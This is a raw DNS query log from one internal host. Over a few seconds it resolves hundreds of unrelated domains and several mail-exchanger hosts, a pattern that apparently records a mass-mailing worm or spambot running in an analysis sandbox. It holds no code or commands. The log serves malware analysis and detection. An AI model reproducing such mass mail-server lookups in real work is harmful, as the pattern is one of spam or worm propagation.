May 31, 2023 14:51:26.535273075 CEST	192.168.2.3	8.8.8.8	0x5273	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.538507938 CEST	192.168.2.3	8.8.8.8	0xd07	Standard query (0)	ikulani.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.542911053 CEST	192.168.2.3	8.8.8.8	0xfabc	Standard query (0)	cjborden.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.549170017 CEST	192.168.2.3	8.8.8.8	0xa8df	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.562237978 CEST	192.168.2.3	8.8.8.8	0xa0e7	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.612230062 CEST	192.168.2.3	8.8.8.8	0x46a9	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.830899954 CEST	192.168.2.3	8.8.8.8	0xa1b6	Standard query (0)	listel.co.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.016727924 CEST	192.168.2.3	8.8.8.8	0xf6aa	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.061681032 CEST	192.168.2.3	8.8.8.8	0x8d68	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.108967066 CEST	192.168.2.3	8.8.8.8	0x1d8e	Standard query (0)	in1.smtp.messagingengine.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.150806904 CEST	192.168.2.3	8.8.8.8	0x2f1	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.196590900 CEST	192.168.2.3	8.8.8.8	0x50c2	Standard query (0)	metaforacom.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.208959103 CEST	192.168.2.3	8.8.8.8	0xe799	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.235755920 CEST	192.168.2.3	8.8.8.8	0xfaa2	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.236115932 CEST	192.168.2.3	8.8.8.8	0xfc4f	Standard query (0)	gujarat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.256931067 CEST	192.168.2.3	8.8.8.8	0x5c65	Standard query (0)	mail7.digitalwaves.co.nz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.261153936 CEST	192.168.2.3	8.8.8.8	0x1b67	Standard query (0)	ncn.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.261862993 CEST	192.168.2.3	8.8.8.8	0x4289	Standard query (0)	biurohera.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.274576902 CEST	192.168.2.3	8.8.8.8	0xe830	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.276324034 CEST	192.168.2.3	8.8.8.8	0x1397	Standard query (0)	cbaben.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.286505938 CEST	192.168.2.3	8.8.8.8	0x7f3d	Standard query (0)	assideum.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.297171116 CEST	192.168.2.3	8.8.8.8	0x1ea1	Standard query (0)	sgk.home.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.299835920 CEST	192.168.2.3	8.8.8.8	0x26b3	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.320475101 CEST	192.168.2.3	8.8.8.8	0xb4f4	Standard query (0)	gbmfg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.326220989 CEST	192.168.2.3	8.8.8.8	0xe054	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.337364912 CEST	192.168.2.3	8.8.8.8	0xa0a0	Standard query (0)	tbvlugus.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.433541059 CEST	192.168.2.3	8.8.8.8	0x7329	Standard query (0)	touchfam.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.434667110 CEST	192.168.2.3	8.8.8.8	0xe966	Standard query (0)	univi.it	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.543912888 CEST	192.168.2.3	8.8.8.8	0x9bf1	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.558521986 CEST	192.168.2.3	8.8.8.8	0xe7bf	Standard query (0)	revoldia.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.652878046 CEST	192.168.2.3	8.8.8.8	0xa14f	Standard query (0)	peminet.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.679466963 CEST	192.168.2.3	8.8.8.8	0x53cd	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.781558990 CEST	192.168.2.3	8.8.8.8	0xe27f	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.792823076 CEST	192.168.2.3	8.8.8.8	0x579	Standard query (0)	tcpoa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.805910110 CEST	192.168.2.3	8.8.8.8	0x4a09	Standard query (0)	78san.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.822920084 CEST	192.168.2.3	8.8.8.8	0x82a3	Standard query (0)	karmy.com.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.824812889 CEST	192.168.2.3	8.8.8.8	0xed09	Standard query (0)	pcoyuncu.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.841356993 CEST	192.168.2.3	8.8.8.8	0x4833	Standard query (0)	cutchie.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.844814062 CEST	192.168.2.3	8.8.8.8	0x27d5	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.856741905 CEST	192.168.2.3	8.8.8.8	0x9055	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.863703966 CEST	192.168.2.3	8.8.8.8	0x9e8c	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.864283085 CEST	192.168.2.3	8.8.8.8	0x77be	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.868325949 CEST	192.168.2.3	8.8.8.8	0x39bc	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.868794918 CEST	192.168.2.3	8.8.8.8	0x4f3f	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.881969929 CEST	192.168.2.3	8.8.8.8	0x9f27	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.884088993 CEST	192.168.2.3	8.8.8.8	0x6bdc	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.894584894 CEST	192.168.2.3	8.8.8.8	0x37c1	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.915656090 CEST	192.168.2.3	8.8.8.8	0x5826	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.941828966 CEST	192.168.2.3	8.8.8.8	0x672e	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.951020002 CEST	192.168.2.3	8.8.8.8	0xd2a	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.963330030 CEST	192.168.2.3	8.8.8.8	0x951a	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.965010881 CEST	192.168.2.3	8.8.8.8	0x6c1a	Standard query (0)	adeesa.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.966886997 CEST	192.168.2.3	8.8.8.8	0x352b	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.979604959 CEST	192.168.2.3	8.8.8.8	0xe5d0	Standard query (0)	aiolos-sa.gr	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.985606909 CEST	192.168.2.3	8.8.8.8	0x42ea	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.988523960 CEST	192.168.2.3	8.8.8.8	0xefa7	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.003285885 CEST	192.168.2.3	8.8.8.8	0xd370	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.004324913 CEST	192.168.2.3	8.8.8.8	0xedb1	Standard query (0)	nekono.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.011766911 CEST	192.168.2.3	8.8.8.8	0x3db0	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.012228966 CEST	192.168.2.3	8.8.8.8	0x33b2	Standard query (0)	usadig.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.012537956 CEST	192.168.2.3	8.8.8.8	0xb4e6	Standard query (0)	com-edit.fr	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.023916960 CEST	192.168.2.3	8.8.8.8	0x15d5	Standard query (0)	in1.smtp.messagingengine.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.032433033 CEST	192.168.2.3	8.8.8.8	0xd022	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.038662910 CEST	192.168.2.3	8.8.8.8	0xac01	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.089011908 CEST	192.168.2.3	8.8.8.8	0xd37c	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.120415926 CEST	192.168.2.3	8.8.8.8	0xdb7f	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.135155916 CEST	192.168.2.3	8.8.8.8	0x799	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.138452053 CEST	192.168.2.3	8.8.8.8	0xc2fc	Standard query (0)	xsui.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.138452053 CEST	192.168.2.3	8.8.8.8	0xe614	Standard query (0)	yhsll.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.156809092 CEST	192.168.2.3	8.8.8.8	0x5049	Standard query (0)	mail7.digitalwaves.co.nz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.262895107 CEST	192.168.2.3	8.8.8.8	0x31f6	Standard query (0)	any-s.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.338167906 CEST	192.168.2.3	8.8.8.8	0x3621	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.390944004 CEST	192.168.2.3	8.8.8.8	0x5b36	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.450862885 CEST	192.168.2.3	8.8.8.8	0xe61e	Standard query (0)	htsmx.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.468632936 CEST	192.168.2.3	8.8.8.8	0xccd9	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.482971907 CEST	192.168.2.3	8.8.8.8	0x9039	Standard query (0)	reproar.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.491511106 CEST	192.168.2.3	8.8.8.8	0x5c0c	Standard query (0)	kairel.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.523791075 CEST	192.168.2.3	8.8.8.8	0x5676	Standard query (0)	popbook.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.607827902 CEST	192.168.2.3	8.8.8.8	0xe99d	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.616974115 CEST	192.168.2.3	8.8.8.8	0xbd22	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.619941950 CEST	192.168.2.3	8.8.8.8	0x1bb9	Standard query (0)	kumaden.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.624099970 CEST	192.168.2.3	8.8.8.8	0x88a3	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.660554886 CEST	192.168.2.3	8.8.8.8	0x1ea3	Standard query (0)	agulatex.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.699618101 CEST	192.168.2.3	8.8.8.8	0xaaec	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.716789007 CEST	192.168.2.3	8.8.8.8	0xe6d1	Standard query (0)	avse.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.780672073 CEST	192.168.2.3	8.8.8.8	0x2ba3	Standard query (0)	ssm.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.805001974 CEST	192.168.2.3	8.8.8.8	0xe15a	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.845474958 CEST	192.168.2.3	8.8.8.8	0x6598	Standard query (0)	yoruksut.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.857023954 CEST	192.168.2.3	8.8.8.8	0xc4df	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.860512018 CEST	192.168.2.3	8.8.8.8	0xad62	Standard query (0)	duiops.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.892419100 CEST	192.168.2.3	8.8.8.8	0x1985	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.948687077 CEST	192.168.2.3	8.8.8.8	0xc3ba	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.162076950 CEST	192.168.2.3	8.8.8.8	0x4be7	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.207812071 CEST	192.168.2.3	8.8.8.8	0x5b9b	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.207812071 CEST	192.168.2.3	8.8.8.8	0x33aa	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.230943918 CEST	192.168.2.3	8.8.8.8	0x1bd4	Standard query (0)	bigzz.by	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.238435030 CEST	192.168.2.3	8.8.8.8	0x5c3a	Standard query (0)	umcor.am	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.250312090 CEST	192.168.2.3	8.8.8.8	0x9205	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.254642963 CEST	192.168.2.3	8.8.8.8	0x16c9	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.256290913 CEST	192.168.2.3	8.8.8.8	0xa4b7	Standard query (0)	ossir.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.258771896 CEST	192.168.2.3	202.12.27.33	0x3	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
May 31, 2023 14:51:29.263830900 CEST	192.168.2.3	8.8.8.8	0x68ac	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.305953026 CEST	192.168.2.3	8.8.8.8	0xeb7e	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.317794085 CEST	192.168.2.3	8.8.8.8	0xd05b	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.386768103 CEST	192.168.2.3	8.8.8.8	0xb4ae	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.491319895 CEST	192.168.2.3	8.8.8.8	0xf046	Standard query (0)	webways.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.491559982 CEST	192.168.2.3	8.8.8.8	0x9674	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.497034073 CEST	192.168.2.3	193.0.14.129	0x55	Standard query (0)	org	NS (Name server)	IN (0x0001)	false
May 31, 2023 14:51:29.511173964 CEST	192.168.2.3	8.8.8.8	0xe12	Standard query (0)	impexnc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.518611908 CEST	192.168.2.3	192.228.79.201	0x38	Standard query (0)	de	NS (Name server)	IN (0x0001)	false
May 31, 2023 14:51:29.538358927 CEST	192.168.2.3	8.8.8.8	0xf888	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.556087971 CEST	192.168.2.3	8.8.8.8	0x13a5	Standard query (0)	diamir.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.562966108 CEST	192.168.2.3	8.8.8.8	0xf115	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.630104065 CEST	192.168.2.3	8.8.8.8	0x8cfd	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.640701056 CEST	192.168.2.3	8.8.8.8	0x6365	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.674403906 CEST	192.168.2.3	8.8.8.8	0xdf9d	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.693259954 CEST	192.168.2.3	8.8.8.8	0x89ce	Standard query (0)	ramkome.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.694374084 CEST	192.168.2.3	128.8.10.90	0x19	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
May 31, 2023 14:51:29.702882051 CEST	192.168.2.3	8.8.8.8	0x6a7	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.720201969 CEST	192.168.2.3	8.8.8.8	0xaaec	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.728297949 CEST	192.168.2.3	8.8.8.8	0xde7c	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.815346956 CEST	192.168.2.3	8.8.8.8	0xe15a	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.825103998 CEST	192.168.2.3	8.8.8.8	0x8d2	Standard query (0)	valselit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.837234974 CEST	192.168.2.3	8.8.8.8	0x5f79	Standard query (0)	bount.com.tw	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.838877916 CEST	192.168.2.3	8.8.8.8	0xf0aa	Standard query (0)	oaith.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.865408897 CEST	192.168.2.3	8.8.8.8	0xbfb4	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.865408897 CEST	192.168.2.3	8.8.8.8	0x1021	Standard query (0)	insia.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.867343903 CEST	192.168.2.3	8.8.8.8	0xa14f	Standard query (0)	nts-web.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.883073092 CEST	192.168.2.3	8.8.8.8	0xf513	Standard query (0)	geecl.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.892570972 CEST	192.168.2.3	8.8.8.8	0x396d	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.912302971 CEST	192.168.2.3	8.8.8.8	0x8213	Standard query (0)	forbin.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.939012051 CEST	192.168.2.3	8.8.8.8	0x2b45	Standard query (0)	orlyhotel.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.044307947 CEST	192.168.2.3	8.8.8.8	0xa90b	Standard query (0)	valselit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.085642099 CEST	192.168.2.3	8.8.8.8	0x70ff	Standard query (0)	nekono.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.114729881 CEST	192.168.2.3	8.8.8.8	0x2d19	Standard query (0)	magicomm.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.169097900 CEST	192.168.2.3	8.8.8.8	0x417a	Standard query (0)	pleszew.policja.gov.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.171086073 CEST	192.168.2.3	8.8.8.8	0xa3a9	Standard query (0)	muhr-soehne.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.203571081 CEST	192.168.2.3	193.0.14.129	0x49	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
May 31, 2023 14:51:30.226480007 CEST	192.168.2.3	192.36.148.17	0x1f	Standard query (0)	org	NS (Name server)	IN (0x0001)	false
May 31, 2023 14:51:30.252991915 CEST	192.168.2.3	8.8.8.8	0x5bd3	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.263223886 CEST	192.168.2.3	198.41.0.4	0xb1	Standard query (0)	de	NS (Name server)	IN (0x0001)	false
May 31, 2023 14:51:30.301717997 CEST	192.168.2.3	8.8.8.8	0xa401	Standard query (0)	dhh.la.gov	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.313107014 CEST	192.168.2.3	8.8.8.8	0xdc49	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.334417105 CEST	192.168.2.3	8.8.8.8	0xd667	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.383488894 CEST	192.168.2.3	8.8.8.8	0xd77e	Standard query (0)	hbfuels.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.397627115 CEST	192.168.2.3	8.8.8.8	0xe690	Standard query (0)	dbnet.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.467902899 CEST	192.168.2.3	8.8.8.8	0xc144	Standard query (0)	floopis.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.557790995 CEST	192.168.2.3	8.8.8.8	0xdc26	Standard query (0)	nrsi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.565606117 CEST	192.168.2.3	8.8.8.8	0x5135	Standard query (0)	bidroll.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.569480896 CEST	192.168.2.3	8.8.8.8	0x3917	Standard query (0)	xinhui.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.575057030 CEST	192.168.2.3	8.8.8.8	0x4451	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.584189892 CEST	192.168.2.3	8.8.8.8	0x2022	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.697911024 CEST	192.168.2.3	8.8.8.8	0xa2f4	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.702436924 CEST	192.168.2.3	8.8.8.8	0x746a	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.710477114 CEST	192.168.2.3	8.8.8.8	0xa33d	Standard query (0)	floopis.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.794302940 CEST	192.168.2.3	8.8.8.8	0x50df	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.908730030 CEST	192.168.2.3	8.8.8.8	0xe15a	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.908730030 CEST	192.168.2.3	8.8.8.8	0x396d	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.915185928 CEST	192.168.2.3	8.8.8.8	0xf385	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.961123943 CEST	192.168.2.3	8.8.8.8	0x3d31	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.973063946 CEST	192.168.2.3	8.8.8.8	0xa45	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.001126051 CEST	192.168.2.3	8.8.8.8	0xcb3c	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.053881884 CEST	192.168.2.3	8.8.8.8	0x2e08	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.076414108 CEST	192.168.2.3	8.8.8.8	0x55d2	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.208131075 CEST	192.168.2.3	8.8.8.8	0x6cef	Standard query (0)	kayoaiba.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.224415064 CEST	192.168.2.3	8.8.8.8	0x2cfc	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.235951900 CEST	192.168.2.3	8.8.8.8	0xca34	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.347800970 CEST	192.168.2.3	8.8.8.8	0x896b	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.417365074 CEST	192.168.2.3	8.8.8.8	0x6f4f	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.539793015 CEST	192.168.2.3	8.8.8.8	0xd6b2	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.569195032 CEST	192.168.2.3	8.8.8.8	0xde2a	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.589910030 CEST	192.168.2.3	8.8.8.8	0x1b0b	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.609942913 CEST	192.168.2.3	8.8.8.8	0x222d	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.615530014 CEST	192.168.2.3	8.8.8.8	0x7add	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.630976915 CEST	192.168.2.3	8.8.8.8	0xf389	Standard query (0)	acraloc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.665442944 CEST	192.168.2.3	8.8.8.8	0x6c82	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.683949947 CEST	192.168.2.3	8.8.8.8	0x52d0	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.698749065 CEST	192.168.2.3	8.8.8.8	0xf3e5	Standard query (0)	envogen.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.717164993 CEST	192.168.2.3	8.8.8.8	0xe1d8	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.738348007 CEST	192.168.2.3	8.8.8.8	0xc573	Standard query (0)	nlcv.bas.bg	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.785161018 CEST	192.168.2.3	8.8.8.8	0x242	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.789908886 CEST	192.168.2.3	8.8.8.8	0x90dc	Standard query (0)	xult.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.794651985 CEST	192.168.2.3	8.8.8.8	0x492b	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.909039974 CEST	192.168.2.3	8.8.8.8	0x44d8	Standard query (0)	clinicasanluis.com.co	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.909039974 CEST	192.168.2.3	8.8.8.8	0xb499	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.909282923 CEST	192.168.2.3	8.8.8.8	0x6f5b	Standard query (0)	strazynski.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.912123919 CEST	192.168.2.3	8.8.8.8	0x5e1f	Standard query (0)	wahw.com.au	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.915720940 CEST	192.168.2.3	8.8.8.8	0x7499	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.970180035 CEST	192.168.2.3	8.8.8.8	0x8761	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.006175995 CEST	192.168.2.3	8.8.8.8	0xcb3c	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.029442072 CEST	192.168.2.3	8.8.8.8	0x1d0d	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.067907095 CEST	192.168.2.3	8.8.8.8	0x248b	Standard query (0)	sigtoa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.070259094 CEST	192.168.2.3	8.8.8.8	0x4fdc	Standard query (0)	coxkitchensandbaths.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.131346941 CEST	192.168.2.3	8.8.8.8	0xca7d	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
